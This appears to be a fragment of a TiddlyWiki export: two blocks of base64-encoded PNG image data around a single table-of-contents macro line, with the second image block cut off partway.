t7z2gny9Qf5xKtRwaePe+5t2v6OQfHMzHPHO5ogfbDxtUe1Kt8Sgvzs1tbY7+5PjFoisWxs3rpkQtMygkwGJx9ueMvzg1v2gXhm6hFQBHm6KY1jvTha8DM2FC49/MDI6bSwyEvOEnLGQsoe5EMjaEShZRqdPOAbORCj02nOYum8z469C1bus4rLWavJcKB/B0+5zOAAJBt6BN+pj9igRlEgha4EAHKlbFwhElEc28sHCpXBvuTWkaBxhJyvHGVbj6wb5keLvMbgOlLWw5zVMirg+JtsOJPzlVN9gFe63FeuXOeglfvQfQc6gG6o33oyWJaQM5eiPMIHB0GgaOjE1HEGvq880i46F0jnOB84xpWqN+cHLykHALRpNHcZ8SF+7B3InLKv3Penj+5hvSdq8ZXLuiWirQWsXm2oF2WRrxw61shmHY9tw6Qzia/crffayeg40wxq6aT+/WCTKgdj02jmQpE6zI4fZlreV46tq0SThse2Y8rNO9bLE0sVL3mufXoe6ukwfATJ81+L6BAv9l9DVc/4maGST3wSKvr06xa5He1g9fLjB2sbaQnys6vjAvt38rznWqeONSIypP6OvAfCzbwuO38aFOm0JD/4S+NIsuxahUzd0x1yNsF5C1ZNzUse5NdmOtNZqafbdgtn+ip4wMvq8yfwlav6VK9n6Cs/e77ySVN56Ms+O3ipXD1XoCiVu3Uv3pR48f3qLw/5UKEBTN1LXnimGgEgACGIIfJiT3c+PUFBrqxiT8yf88H5yr36VK1n6Cs/e77y/D20mNBL/sFw/IWm7QeLm7vQjlfvkod86CjwlQcxJY+5koaXy7U/AEJfuSL0lYfURugr/79EheUDb29/udKZsGrN+RWPF3H60vBT5k9z6an4yk+N0FceEhIyGZOteAoJCQkJ+dATpvKQkJCQP3vCVB4SEhLyZ88UHz0R8qEF0Z+WDFroWRtnqpxaUO4HIiqdpA0JCZkaNaRyjSMi0GRTishRL1tW5rokARhHjQEiAIEQ5FadEmTc22OZ85UDgCu81ZBcQ7U9UAgqnJRjHDnzF0vI0qVy5SBDnYGQpesxgo5XxltqXfq+OEfOvJWDcrL3C1OMJrD5bAAABV5JREFUTxDI1cpukKJsJUJAPStSYzm1BFktetE4IALJ0o9MLTrSOQKBZYerJ0JCToeqqZxx1Lm3+2bSJQeIwHlxLicSCJx7mwNBrUJjgE6RYaoExlSyIIEADDkHAJJC+aqQcy+VI5Hw7y5cZzqDgksggrSr3ntUtmVlS+uCjqssBrIgDxbsnyp8X7ktP+o4L3m/ZeXkNk+WlHPGCKjnlGFoat4K9wpBLo8PAOOonkYCAMCJZOAqmpCQkNMjOJUzXuYxrwpJcPxeGvO+OIMkUBuEpQChEiUiZ+QGf6HGXLIAyIlTvWNq5bj3b0RBpL4NqJXXglwJyIAhuNW/Q6i7RXm+DjoOoGlMZwAcwPbkf54YkshxCTjTGXIOriQhiAMIQRJQUxt8WH4HTnk5VDU+yLwOO0kQsmCjVqXU6f2Go84A/F5zUD1piuVw7u0PchxCjekMOEfmV6n8fQGirnk7bx0JWLDqUd31c7qrkJCQ0yY4lUtJkgEJAl4uJ6kA5dIBoqkeniC83X1Wznqo+tRY+IybIBBZwSZ7BCDVE/Q38TPgCC4BL9hMKKGm9MCZ2lBe6iUPOl4RbxOjJEHeKJDaUyMkWV4cKvjKy5EV4uP9t6hXy4AT2P4G9wqp0yuiyDNuucH1DErBQeWotyJJEKAkjaHyswfFm3Eo8ZXnStY9IUEFX3lISMgpUWWAhcB2CAqe81IjqsNFVNrR87qHAFIGD4z6zgBSCR9Bbe1GIMD8y5EheL1d/yt/lTJLQDVoU+YrDzoOoHzlwBFlPt/l68mBqX1zBf4DTUfNz6HFvvLScnIUxAeooFdLklwCRABZQVRSBgkBhKAxRI7cH9EIqmcwpeUQAaD3WRTeYRXl70tt+8/fEjhyV1oCuOZ9S3AFAMdaegkhISGTUcO059TIJURRnHfQe3woSao6+uFlyLyvXHXNERDUrCapQRtPwOJfg2ro5ytyvUUhgfPJj3sQuCXZ1x/e1hhKQagV+rgKzCJq+3vupeXleKeVxgdVfYDyz3MowHUJNYDyWwKB65JkqJ6UVJB3K9VzKuW4qifOMGJiwVlF5xeV4J1FQoBE0BgyjlxSrnfvCkA1vBMSEnK6nOl15YUJMY//nTo/DFIFX9mR85Ur1EABIOo603IDBb6YBIOtTCVwvxxNV4IpYBpqGHhcgVz5yguVFQDe8H2FPOjYMmtJRwIiagVTDhXKCYiPnwkDblFEjlMkxir9ffG/KtdzKuWQINslSST98XGS+U8nKD4kwXH9tS7ojdJM6dYbEhJSA34qZxwjJovoyIpyTCCVz0dvVEHKgmVniIaOmj9jNukahly3nHKOQJW1/armxweUslWCSlUqvwOCxmsZQPCMTl6BBS+oeFzjyBAZh1xyVyM6iCgFkXqJuvEgan6nPlf5XPHl5QTFx3vvfvrDgjwIhY/CgArkr0jB9ZxiOd6wvu2P9qjZFP/M4PgAgvcDBd7E2m+9ISEhNaAGWBC46jn6w7WKnAccAJCziJH3mBecn5/QYlylm/wyQQDQNL9MRF1HHcDzcUM1SIIAAiL/McPePaPEV84YuIIkRwao6ch9aaqaqauI60j/NzkvObkSIOg4AAAISbxYBislSA4MABka6N3AfMk4ajzvby2cGygvJzA+EiQBR9R0ZCp7CrJcryiu1gVy0AQVOWARdR3UlZUPq3I9/dNrL8dfVJ73lRf25QPjg2jooAR8ajEiStI4IkNDh1o7DiEhIZOgUjmBlAClXvKi3iqW9PUqnO/NdFHZTpBcCer19P/PV16tHJ/S+OR95eD7yiG39CfYMw5nyFdeVs4Z85WDy6AWX3lISEjN/C95SyB0DekoxQAAAABJRU5ErkJggg==
<div class="tc-table-of-contents"> <<toc-selective-expandable 'TableOfContents'>> </div>
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